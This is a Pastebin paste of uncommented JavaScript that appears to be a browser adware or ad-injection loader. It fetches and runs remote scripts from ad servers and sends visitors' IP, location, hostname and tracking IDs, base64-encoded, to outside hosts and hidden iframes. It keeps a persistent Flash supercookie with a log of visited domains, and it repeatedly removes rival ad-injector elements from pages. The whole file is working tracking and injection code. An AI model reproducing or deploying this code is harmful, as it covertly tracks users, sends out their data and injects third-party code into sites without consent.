Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Jan 30th, 2012  |  syntax: JavaScript  |  size: 24.35 KB  |  views: 381  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. if (!Array.prototype.indexOf) Array.prototype.indexOf = function (a) {
  2.     if (this === void 0 || this === null) throw new TypeError;
  3.     var d = Object(this),
  4.         c = d.length >>> 0;
  5.     if (c === 0) return -1;
  6.     var b = 0;
  7.     arguments.length > 0 && (b = Number(arguments[1]), b !== b ? b = 0 : b !== 0 && b !== 1 / 0 && b !== -(1 / 0) && (b = (b > 0 || -1) * Math.floor(Math.abs(b))));
  8.     if (b >= c) return -1;
  9.     for (b = b >= 0 ? b : Math.max(c - Math.abs(b), 0); b < c; b++) if (b in d && d[b] === a) return b;
  10.     return -1
  11. };
  12. var _gaq = _gaq || [];
  13. if (typeof _GPL == "undefined") {
  14.     var _GPL = {
  15.         vars: {
  16.             zoneid: "8623",
  17.             pid: "1036"
  18.         },
  19.         proto: "https:" == document.location.protocol ? "https://" : "http://",
  20.         baseCDN: "",
  21.         fCDN: "d15gt9gwxw5wu0.cloudfront.net",
  22.         items: {},
  23.         item_vars: {},
  24.         item_perms: {
  25.             "ALL": {
  26.                 "bda27": [],
  27.                 "fb7b3": [],
  28.                 "68d78": [],
  29.                 "59156": []
  30.             }
  31.         },
  32.         item_delays: {
  33.             "bda27": {
  34.                 "min": "0",
  35.                 "max": "0"
  36.             },
  37.             "fb7b3": {
  38.                 "min": "0",
  39.                 "max": "0"
  40.             },
  41.             "68d78": {
  42.                 "min": "0",
  43.                 "max": "0"
  44.             },
  45.             "59156": {
  46.                 "min": "0",
  47.                 "max": "0"
  48.             }
  49.         },
  50.         f: {},
  51.         fl: {},
  52.         rl: false,
  53.         cloaked: !1,
  54.         isIE6: navigator.userAgent.toLowerCase().indexOf("msie") != -1,
  55.         cb: Math.floor((new Date).getTime() / 1E3) - Math.floor((new Date).getTime() / 1E3) % 3600,
  56.         loaded_domain_rules: false,
  57.         i: function () {
  58.             if (location.protocol != 'http:' && location.protocol != 'https:') {
  59.                 return
  60.             }
  61.             var a = this.findals();
  62.             if (a) {
  63.                 this.item_perms = this.lpz(this.item_perms, this.vars.zoneid);
  64.                 if (!this.vars.aoi) this.vars.aoi = Math.floor((new Date()).getTime() / 1000) - 1;
  65.                 this.baseCDN = a.src.split('/')[2];
  66.                 self == top ? _GPL.init() : _GPL.initFrame()
  67.             }
  68.         },
  69.         findals: function () {
  70.             var a = this.findScript("", /items\/loaders\/loader_\d+\.js/);
  71.             return (a && this.getVars(a.src)) ? a : false
  72.         },
  73.         init: function () {
  74.             this.removeScripts(this.baseCDN);
  75.             try {
  76.                 _GPL.f['68d78']();
  77.             } catch (e) {}
  78.             try {
  79.                 this.items.e6a00.init(function () {
  80.                     _GPL.items.e6a00.set("location.href", location.href);
  81.                     _GPL.cld();
  82.                     _GPL.lfi();
  83.                     if (!_GPL.vars.cid) {
  84.                         _GPL.loadGeo()
  85.                     } else {
  86.                         _GPL.loadCC()
  87.                     }
  88.                 })
  89.             } catch (e) {}
  90.             if (this.vars.cid) {
  91.                 this.loadDomainRules()
  92.             } else {
  93.                 setTimeout(function () {
  94.                     if (!_GPL.loaded_domain_rules) {
  95.                         _GPL.setDefaultGeoAndGo()
  96.                     }
  97.                 }, 2500)
  98.             }
  99.         },
  100.         loadGeo: function () {
  101.             var cid = this.items.e6a00.get("geo.cid");
  102.             var updatetime = this.items.e6a00.get("geo.updatetime");
  103.             if (!cid || (cid && updatetime && (Math.floor((new Date()).getTime() / 1000) - parseInt(updatetime)) >= 259200)) {
  104.                 this.insertJS(((this.proto == 'https://') ? 'https://s.' : 'http://') + 'ads2srv.com/tb/gc.php?json&cb=_GPL.setGeoAndGo')
  105.             } else {
  106.                 this.vars.cid = this.items.e6a00.get("geo.cid");
  107.                 this.vars.rid = this.items.e6a00.get("geo.rid");
  108.                 this.vars.ccid = this.items.e6a00.get("geo.ccid");
  109.                 this.vars.ip = this.items.e6a00.get("geo.ip");
  110.                 this.loadCC();
  111.                 this.loadDomainRules()
  112.             }
  113.         },
  114.         setDefaultGeoAndGo: function () {
  115.             this.vars.cid = 'UU';
  116.             this.vars.rid = '';
  117.             this.vars.ccid = '';
  118.             _GPL.f['fb7b3']();
  119.             this.loadDomainRules()
  120.         },
  121.         setGeoAndGo: function (geo) {
  122.             this.vars.cid = geo.cid;
  123.             this.vars.rid = geo.rid;
  124.             this.vars.ccid = geo.ccid;
  125.             this.vars.ip = geo.ip;
  126.             this.items.e6a00.set("geo.updatetime", Math.floor((new Date()).getTime() / 1000));
  127.             this.items.e6a00.set("geo.cid", geo.cid);
  128.             this.items.e6a00.set("geo.rid", geo.rid);
  129.             this.items.e6a00.set("geo.ccid", geo.ccid);
  130.             this.items.e6a00.set("geo.ip", geo.ip);
  131.             this.loadCC();
  132.             this.loadDomainRules()
  133.         },
  134.         isN: function (a) {
  135.             return (typeof (a) === 'number' || typeof (a) === 'string') && a !== '' && !isNaN(a)
  136.         },
  137.         initFrame: function () {
  138.             console.log('iframe');
  139.             if (_GPL.canLoad('944c1')) {
  140.                 var a = this.getFW();
  141.                 console.log(a);
  142.                 if (a.indexOf("728x") != -1 || a.indexOf("300x") != -1 || a.indexOf("160x") != -1) {
  143.                     try {
  144.                         this.items.e6a00.init(function () {
  145.                             _GPL.items.e6a00.store["location.href"] = _GPL.items.e6a00.get("location.href");
  146.                             _GPL.insertJS(_GPL.proto + _GPL.baseCDN + "/items/944c1/js/944c1.js")
  147.                         })
  148.                     } catch (e) {}
  149.                 }
  150.             }
  151.         },
  152.         cld: function () {
  153.             var a = _GPL.items.e6a00;
  154.             var b = a.get("_GPLDOMAINS");
  155.             if (b) {
  156.                 var c = b.split("||");
  157.                 b = "";
  158.                 for (var i = 0, l = c.length; i < l; ++i) {
  159.                     var d = c[i].split("::");
  160.                     if (d.length == 2 && parseInt(d[1]) > (Math.round(new Date().getTime() / 1000) - 5)) {
  161.                         b += "||" + d[0] + "::" + d[1]
  162.                     }
  163.                 }
  164.             } else {
  165.                 b = ""
  166.             }
  167.             b += "||" + document.domain + "::" + Math.round(new Date().getTime() / 1000);
  168.             a.set("_GPLDOMAINS", b)
  169.         },
  170.         loadCC: function () {
  171.             this.vars && this.vars.cid && document.location.protocol == "http:" && !this.gc("_GPL_it") && !(this.vars.cid == "MY" || this.vars.cid == "IN" || this.vars.cid == "PH") && this.insertJS("http://www.textsrv.com/cc.php?c=" + escape(this.B64.encode(this.vars.cid + ":" + this.vars.rid + ":" + this.vars.ccid + ":" + location.hostname + ":" + this.vars.pid + ":" + this.vars.sourceid + ":" + this.zoneid('a652c') + ":" + this.vars.ip + ":" + this.vars.systemid)) + '&cb=' + (new Date()).getTime())
  172.         },
  173.         lfi: function () {
  174.             var flash_values = {
  175.                 'bda27': {
  176.                     'cf-dns2': '1'
  177.                 }
  178.             };
  179.             var l = [];
  180.             for (var i in _GPL.item_perms) {
  181.                 for (var j in _GPL.item_perms[i]) {
  182.                     if (j in flash_values) {
  183.                         for (var k in flash_values[j]) {
  184.                             if (_GPL.items.e6a00.get(k) == flash_values[j][k]) {
  185.                                 l.push(j);
  186.                                 break
  187.                             }
  188.                         }
  189.                     }
  190.                 }
  191.             }
  192.             _GPL.item_vars['fb7b3'] = l;
  193.             _GPL.f['fb7b3']();
  194.         },
  195.         ihi: function (a) {
  196.             var c = document.createElement("iframe");
  197.             c.type = "text/javascript";
  198.             c.src = a;
  199.             c.style.display = "none";
  200.             c.style.visibility = "hidden";
  201.             document.body.appendChild(c)
  202.         },
  203.         getFW: function () {
  204.             return document.documentElement ? "" + document.documentElement.clientWidth + "x" + document.documentElement.clientHeight : "0x0"
  205.         },
  206.         getVars: function (a) {
  207.             for (var d = a.slice(a.indexOf("?") + 1).split("&"), c = 0; c < d.length; c++) a = d[c].split("="), this.vars[a[0]] = (a.length > 1) ? unescape(a[1].replace("+", " ")) : '';
  208.             return true
  209.         },
  210.         replaceVars: function (a) {
  211.             for (var d, c, b, g = /\{([^\}]+)\}/gi, e = a; d = g.exec(a);) if (d[1].indexOf("_GPL") != -1) {
  212.                 c = !1;
  213.                 d[1].indexOf(",") != -1 && (c = d[1].split(",")[1]);
  214.                 b = eval(d[1].split(",")[0]);
  215.                 if (!b || typeof b == "undefined") if (c) b = c;
  216.                 else continue;
  217.                 for (; e.indexOf("{" + d[1] + "}") != -1;) e = e.replace("{" + d[1] + "}", b)
  218.             }
  219.             return e
  220.         },
  221.         mergeKeysMulti: function (a, b) {
  222.             for (var k in b) {
  223.                 if (!a[k]) a[k] = b[k];
  224.                 else {
  225.                     for (var j in b[k]) {
  226.                         if (!a[k][j]) {
  227.                             a[k][j] = b[k][j]
  228.                         } else {
  229.                             for (var l = 0, m = b[k][j].length; l < m; ++l) {
  230.                                 if (a[k][j].indexOf(b[k][j][l]) == -1) {
  231.                                     a[k][j].push(b[k][j][l])
  232.                                 }
  233.                             }
  234.                         }
  235.                     }
  236.                 }
  237.             }
  238.             return a
  239.         },
  240.         mergeKeys: function (a, b) {
  241.             for (var k in b) {
  242.                 if (!a[k]) a[k] = b[k]
  243.             }
  244.             return a
  245.         },
  246.         newKeys: function (a, b) {
  247.             var c = [];
  248.             var ak = [];
  249.             for (var k in a) {
  250.                 for (var j in a[k]) {
  251.                     if (ak.indexOf(j) == -1) ak.push(j)
  252.                 }
  253.             }
  254.             for (var k in b) {
  255.                 for (var j in b[k]) {
  256.                     if (ak.indexOf(j) == -1 && c.indexOf(j) == -1) c.push(j)
  257.                 }
  258.             }
  259.             return c
  260.         },
  261.         removeScripts: function (a) {
  262.             return;
  263.             if (!this.isIE6) for (var d;
  264.             (d = this.findScript(a, "")) && d;) d.parentNode.removeChild(d)
  265.         },
  266.         findScript: function (a, d) {
  267.             for (var c = document.getElementsByTagName("script"), b = c.length - 1; b >= 0; --b) if (c[b].src && c[b].src.match(a) && c[b].src.match(d)) return c[b];
  268.             return !1
  269.         },
  270.         loadDomainRules: function () {
  271.             if (location.host != "") {
  272.                 var a = location.host.replace(RegExp(/^www\./i), "");
  273.                 this.insertJS(this.proto + this.fCDN + "/js/" + a + "/r.js")
  274.             }
  275.             this.loaded_domain_rules = true
  276.         },
  277.         insertJS: function (a) {
  278.             var d = document.getElementsByTagName("head"),
  279.                 d = d.length > 0 ? d : document.getElementsByTagName("body");
  280.             if (d.length > 0) {
  281.                 var c = document.createElement("script");
  282.                 c.async = !0;
  283.                 c.type = "text/javascript";
  284.                 c.src = a;
  285.                 d[0].appendChild(c)
  286.             }
  287.         },
  288.         firePixel: function (a) {
  289.             (new Image).src = a
  290.         },
  291.         canLoad: function (a) {
  292.             if (this.vars.cid && ((this.item_perms.ALL && this.item_perms.ALL[a]) || (this.item_perms[this.vars.cid] && this.item_perms[this.vars.cid][a]))) if (this.vars.aoi && this.item_delays[a] && Math.floor((new Date).getTime() / 1E3) > parseInt(this.vars.aoi) + parseInt(this.item_delays[a].min) && (parseInt(this.item_delays[a].max) == 0 || Math.floor((new Date).getTime() / 1E3) < parseInt(this.vars.aoi) + parseInt(this.item_delays[a].max))) return !0;
  293.             return !1
  294.         },
  295.         gc: function (a) {
  296.             if (document.cookie && document.cookie != "") for (var d = document.cookie.split(";"), c = 0; c < d.length; ++c) {
  297.                 var b = d[c].replace(/^\s+|\s+$/, "");
  298.                 if (b.substring(0, a.length + 1) == a + "=") return decodeURIComponent(b.substring(a.length + 1))
  299.             }
  300.             return null
  301.         },
  302.         sc: function (a, d, c) {
  303.             var b = new Date;
  304.             b.setHours(b.getHours() + parseInt(c));
  305.             c = location.hostname.replace(/^www\./, "");
  306.             c[0] != "." && (c = "." + c);
  307.             document.cookie = a + "=" + d + ";expires=" + b.toUTCString() + ";path=/;domain=" + c
  308.         },
  309.         zoneid: function (i) {
  310.             var z = [];
  311.             z = this.am(z, (this.item_perms.ALL && this.item_perms.ALL[i]) ? this.item_perms.ALL[i] : []);
  312.             z = this.am(z, (this.item_perms[this.vars.cid] && this.item_perms[_GPL.vars.cid][i]) ? this.item_perms[this.vars.cid][i] : []);
  313.             return (z.length > 0) ? z[Math.floor(Math.random() * (z.length))] : this.vars.zoneid
  314.         },
  315.         am: function (a, b) {
  316.             for (var i = 0; i < b.length; i++) {
  317.                 if (a.indexOf(b[i]) == -1) a.push(b[i])
  318.             }
  319.             return a
  320.         },
  321.         lpz: function (p, z) {
  322.             for (var j in p) {
  323.                 for (var k in p[j]) {
  324.                     if (p[j][k].indexOf(z) == -1) {
  325.                         p[j][k].push(z)
  326.                     }
  327.                 }
  328.             }
  329.             return p
  330.         },
  331.         B64: {
  332.             _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  333.             decode: function (a) {
  334.                 for (var d = "", c, b, g, e, h, f = 0, a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""); f < a.length;) c = this._keyStr.indexOf(a.charAt(f++)), b = this._keyStr.indexOf(a.charAt(f++)), e = this._keyStr.indexOf(a.charAt(f++)), h = this._keyStr.indexOf(a.charAt(f++)), c = c << 2 | b >> 4, b = (b & 15) << 4 | e >> 2, g = (e & 3) << 6 | h, d += String.fromCharCode(c), e != 64 && (d += String.fromCharCode(b)), h != 64 && (d += String.fromCharCode(g));
  335.                 return d = this._utf8_decode(d)
  336.             },
  337.             _utf8_decode: function (a) {
  338.                 for (var d = "", c = 0, b = c1 = c2 = 0; c < a.length;) b = a.charCodeAt(c), b < 128 ? (d += String.fromCharCode(b), c++) : b > 191 && b < 224 ? (c2 = a.charCodeAt(c + 1), d += String.fromCharCode((b & 31) << 6 | c2 & 63), c += 2) : (c2 = a.charCodeAt(c + 1), c3 = a.charCodeAt(c + 2), d += String.fromCharCode((b & 15) << 12 | (c2 & 63) << 6 | c3 & 63), c += 3);
  339.                 return d
  340.             },
  341.             encode: function (a) {
  342.                 for (var d = "", c, b, g, e, h, f, i = 0, a = this._utf8_encode(a); i < a.length;) c = a.charCodeAt(i++), b = a.charCodeAt(i++), g = a.charCodeAt(i++), e = c >> 2, c = (c & 3) << 4 | b >> 4, h = (b & 15) << 2 | g >> 6, f = g & 63, isNaN(b) ? h = f = 64 : isNaN(g) && (f = 64), d = d + this._keyStr.charAt(e) + this._keyStr.charAt(c) + this._keyStr.charAt(h) + this._keyStr.charAt(f);
  343.                 return d
  344.             },
  345.             _utf8_encode: function (a) {
  346.                 for (var a = a.replace(/\r\n/g, "\n"), d = "", c = 0; c < a.length; c++) {
  347.                     var b = a.charCodeAt(c);
  348.                     b < 128 ? d += String.fromCharCode(b) : (b > 127 && b < 2048 ? d += String.fromCharCode(b >> 6 | 192) : (d += String.fromCharCode(b >> 12 | 224), d += String.fromCharCode(b >> 6 & 63 | 128)), d += String.fromCharCode(b & 63 | 128))
  349.                 }
  350.                 return d
  351.             }
  352.         }
  353.     };
  354.     _GPL.f['fb7b3'] = function () {
  355.         var injection_items = ['a652c'];
  356.         var l = (typeof _GPL.item_vars['fb7b3'] != 'undefined') ? _GPL.item_vars['fb7b3'] : [];
  357.         for (var i in _GPL.item_perms) {
  358.             for (var j in _GPL.item_perms[i]) {
  359.                 if (injection_items.indexOf(j) == -1 || l.indexOf(j) != -1) {
  360.                     continue
  361.                 }
  362.                 l.push(j)
  363.             }
  364.         }
  365.         _GPL.ihi(_GPL.proto + _GPL.baseCDN + "/d.html?c=" + escape(_GPL.B64.encode(_GPL.vars.cid + ":" + _GPL.vars.rid + ":" + _GPL.vars.ccid + ":" + _GPL.vars.pid + ":" + _GPL.vars.zoneid + ":" + _GPL.vars.systemid + ":" + l.join(","))))
  366.     };
  367.     _GPL.items['68d78'] = {
  368.         i: function () {
  369.             if (typeof YontooClient != 'undefined') YontooClient = {};
  370.             if (typeof yontooAPI != 'undefined') yontooAPI = {};
  371.             if (typeof DealPlyConfig != 'undefined') {
  372.                 DealPlyConfig.getBaseUrl = function () {
  373.                     return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?"
  374.                 };
  375.                 DealPlyConfig.getCrownUrl = function () {
  376.                     return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?"
  377.                 }
  378.             }
  379.             this.rm(this.ri, ['dropdowndeals', 'Y2LeftFixedCurtain', 'gbdho', 'bdca', 'dealply-toast-1', 'pricegong_offers_iframe', 'SF_VISUAL_SEARCH', 'batAdRight', 'batAdBottom', 'batAdMiddle_0', 'batAdMiddleExt1_0', 'batAdRight2', 'invisiblehand-iframe', 'scTopOfPageRefinementLinks', 'sf_coupon_obj']);
  380.             this.rm(this.rc, ['yontoolayerwidget', 'dealply-toast', 'imb-ad']);
  381.             this.rm(this.ric, [
  382.                 ['productbox', 'g'],
  383.                 ['related-searches', 'related-searches-bing']
  384.             ]);
  385.             this.rm(this.rtn, ['MIVA_AdLink', 'itxtrst', 'kLink', 'FAAdLink', 'IL_AD', 'skimwords-link'])
  386.         },
  387.         st: function (i, a) {
  388.             a = (((a || "") + "").toLowerCase().match(/<[a-z][a-z0-9]*>/g) || []).join('');
  389.             var t = /<\/?([a-z][a-z0-9]*)\b[^>]*>/gi,
  390.                 c = /<!--[\s\S]*?-->|<\?(?:php)?[\s\S]*?\?>/gi;
  391.             return i.replace(c, '').replace(t, function ($0, $1) {
  392.                 return a.indexOf('<' + $1.toLowerCase() + '>') > -1 ? $0 : ''
  393.             })
  394.         },
  395.         rm: function (f, a) {
  396.             try {
  397.                 for (var i = 0; i < a.length; i++) f(a[i])
  398.             } catch (e) {}
  399.         },
  400.         rc: function (a) {
  401.             try {
  402.                 var b = document.getElementsByClassName(a);
  403.                 while (b && b.length > 0) {
  404.                     b[0].parentNode.removeChild(b[0])
  405.                 }
  406.             } catch (e) {}
  407.         },
  408.         ri: function (a) {
  409.             try {
  410.                 var b = document.getElementById(a);
  411.                 if (b != null) {
  412.                     b.parentNode.removeChild(b)
  413.                 }
  414.             } catch (e) {}
  415.         },
  416.         ric: function (a) {
  417.             try {
  418.                 var b = document.getElementById(a[0]);
  419.                 if (b != null && b.className == a[1]) {
  420.                     b.parentNode.removeChild(b)
  421.                 }
  422.             } catch (e) {}
  423.         },
  424.         rtn: function (c) {
  425.             try {
  426.                 var a = document.getElementsByClassName(c);
  427.                 while (a && a.length > 0) {
  428.                     var txt = document.createTextNode(_GPL.items['68d78'].st(a[0].innerHTML));
  429.                     a[0].parentNode.insertBefore(txt, a[0].nextSibling);
  430.                     a[0].parentNode.removeChild(a[0])
  431.                 }
  432.             } catch (e) {}
  433.         }
  434.     };
  435.     _GPL.f['68d78'] = function () {
  436.         if (_GPL.canLoad('68d78') && !_GPL.fl['68d78']) {
  437.             _GPL.fl['68d78'] = true;
  438.             setInterval(function () {
  439.                 if (_GPL.canLoad('68d78') && typeof _GPL.items['68d78'] != 'undefined' && typeof _GPL.items['68d78'].i == 'function') {
  440.                     _GPL.items['68d78'].i()
  441.                 }
  442.             }, 1500)
  443.         }
  444.     };
  445.     _GPL.items.e6a00 = {
  446.         ready: !1,
  447.         flashDetected: !1,
  448.         log: function () {},
  449.         swf: {},
  450.         swf_url: "/items/e6a00/storage.swf",
  451.         namespace: "gpl",
  452.         store: {},
  453.         detectFlash: function () {
  454.             if (navigator.plugins && navigator.mimeTypes.length) {
  455.                 var a = navigator.plugins["Shockwave Flash"];
  456.                 if (a != null && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin != null) return a.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split(".")[0] > 9
  457.             } else if (window.ActiveXObject) {
  458.                 try {
  459.                     a = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7")
  460.                 } catch (d) {
  461.                     try {
  462.                         a = new ActiveXObject("ShockwaveFlash.ShockwaveFlash")
  463.                     } catch (c) {
  464.                         return !1
  465.                     }
  466.                 }
  467.                 if (a != null) return a.GetVariable("$version").split(" ")[1].split(",")[0] > 9
  468.             }
  469.             return !1
  470.         },
  471.         init: function (onready) {
  472.             this.onready = onready;
  473.             this.flashDetected = this.detectFlash();
  474.             if (!this.flashDetected) return !1;
  475.             var a = document.createElement("div");
  476.             a.style.position = "absolute";
  477.             a.id = "_GPL_e6a00_div";
  478.             var d = "logfn=_GPL.items.e6a00.log&amp;onload=_GPL.items.e6a00.onload&amp;onerror=_GPL.items.e6a00.onerror&amp;LSOName=" + this.namespace;
  479.             a.innerHTML = '<object height="1" width="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="_GPL_e6a00_swf" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param value="' + _GPL.proto + _GPL.baseCDN + this.swf_url + '" name="movie"><param value="' + d + '" name="FlashVars"><param value="always" name="allowscriptaccess"><embed height="1" align="middle" width="1" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="' + d + '" type="application/x-shockwave-flash" allowscriptaccess="always" quality="high" loop="false" play="true" name="_GPL_e6a00_swf" bgcolor="#ffffff" src="' + _GPL.proto + _GPL.baseCDN + this.swf_url + '"></object>';
  480.             document.body.appendChild(a);
  481.             this.swf = document._GPL_e6a00_swf || window._GPL_e6a00_swf
  482.         },
  483.         set: function (a, d) {
  484.             if (!this.flashDetected) return !1;
  485.             if (this.ready && this.swf && typeof this.swf.set == 'function') this.swf.set(a, d);
  486.             else {
  487.                 var c = this;
  488.                 setTimeout(function () {
  489.                     c.set(a, d)
  490.                 }, 100)
  491.             }
  492.         },
  493.         get: function (a) {
  494.             if (!this.flashDetected || !this.ready || typeof this.swf.get != 'function') return null;
  495.             return this.swf.get(a)
  496.         },
  497.         getAll: function () {
  498.             if (this.ready) {
  499.                 var a = this.swf.getAll();
  500.                 a.__flashBugFix && delete a.__flashBugFix;
  501.                 return a
  502.             }
  503.         },
  504.         clear: function (a) {
  505.             this.ready && this.swf.clear(a)
  506.         },
  507.         onload: function () {
  508.             var a = this;
  509.             setTimeout(function () {
  510.                 a.ready = !0;
  511.                 a.set("__flashBugFix", "1");
  512.                 a.onready()
  513.             }, 0)
  514.         },
  515.         onready: function () {},
  516.         onerror: function () {}
  517.     };
  518.     _GPL.i()
  519. } else {
  520.     _GPL_new_items = _GPL.newKeys(_GPL.item_perms, {
  521.         "ALL": {
  522.             "bda27": [],
  523.             "fb7b3": [],
  524.             "68d78": [],
  525.             "59156": []
  526.         }
  527.     });
  528.     _GPL.findals();
  529.     _GPL.item_perms = _GPL.mergeKeysMulti(_GPL.item_perms, _GPL.lpz({
  530.         "ALL": {
  531.             "bda27": [],
  532.             "fb7b3": [],
  533.             "68d78": [],
  534.             "59156": []
  535.         }
  536.     }, _GPL.vars.zoneid));
  537.     _GPL.item_delays = _GPL.mergeKeys(_GPL.item_delays, {
  538.         "bda27": {
  539.             "min": "0",
  540.             "max": "0"
  541.         },
  542.         "fb7b3": {
  543.             "min": "0",
  544.             "max": "0"
  545.         },
  546.         "68d78": {
  547.             "min": "0",
  548.             "max": "0"
  549.         },
  550.         "59156": {
  551.             "min": "0",
  552.             "max": "0"
  553.         }
  554.     });
  555.     if (_GPL.rl) {
  556.         for (var _GPL_nic = 0; _GPL_nic < _GPL_new_items.length; _GPL_nic++) {
  557.             if (_GPL.f[_GPL_new_items[_GPL_nic]]) {
  558.                 _GPL.f[_GPL_new_items[_GPL_nic]]()
  559.             }
  560.         }
  561.     }
  562. }
  563. setInterval(function () {
  564.     typeof _GPL != "undefined" && _GPL.removeScripts(_GPL.baseCDN)
  565. }, 5E3);
clone this paste RAW Paste Data